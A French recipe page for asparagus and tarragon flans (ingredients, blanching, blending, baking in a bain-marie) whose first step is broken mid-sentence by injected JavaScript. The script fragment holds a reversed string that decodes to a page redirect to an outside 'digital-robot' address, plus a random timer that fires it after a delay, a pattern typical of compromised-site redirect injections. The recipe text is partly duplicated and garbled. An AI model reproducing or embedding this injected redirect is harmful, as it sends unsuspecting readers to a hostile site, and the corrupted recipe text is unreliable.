Flans d’asperges à l’estragon
2021-02-12- Cuisine : Flans
- Thématique : Végétarien
- Niveau : Difficile
Épluchez les asperges en éliminant les tiges fibreuses. Dans une casserole d’eau bouillante salée, plongez les asperges et faites les cuire pendant 10 min. Égouttez-les sur un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon.
Ingrédients
Épluchez les asperges en éliminant les tiges fibreuses. Dans une casserole d'eau bouillante salée, plongez les asperges et faites les cuire pendant 10 mn. Égouttez-les sur un torchon. Coupez-les têtes des asperges. Réservez Mixez les tiges des asperges avec les œufs, les feuilles d’estragons ciselées, la crème fraîche, la muscade, salez et poivrez Préchauffez le fou à 150°C thermostat 5. Beurrez 4 ramequins. Versez la préparation dans les ramequins. Préchauffez le four à 150°C thermostat 5. Enfournez et faites cuire dans un bain-marie chaud pendant 30 minutes. Servez tiède.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
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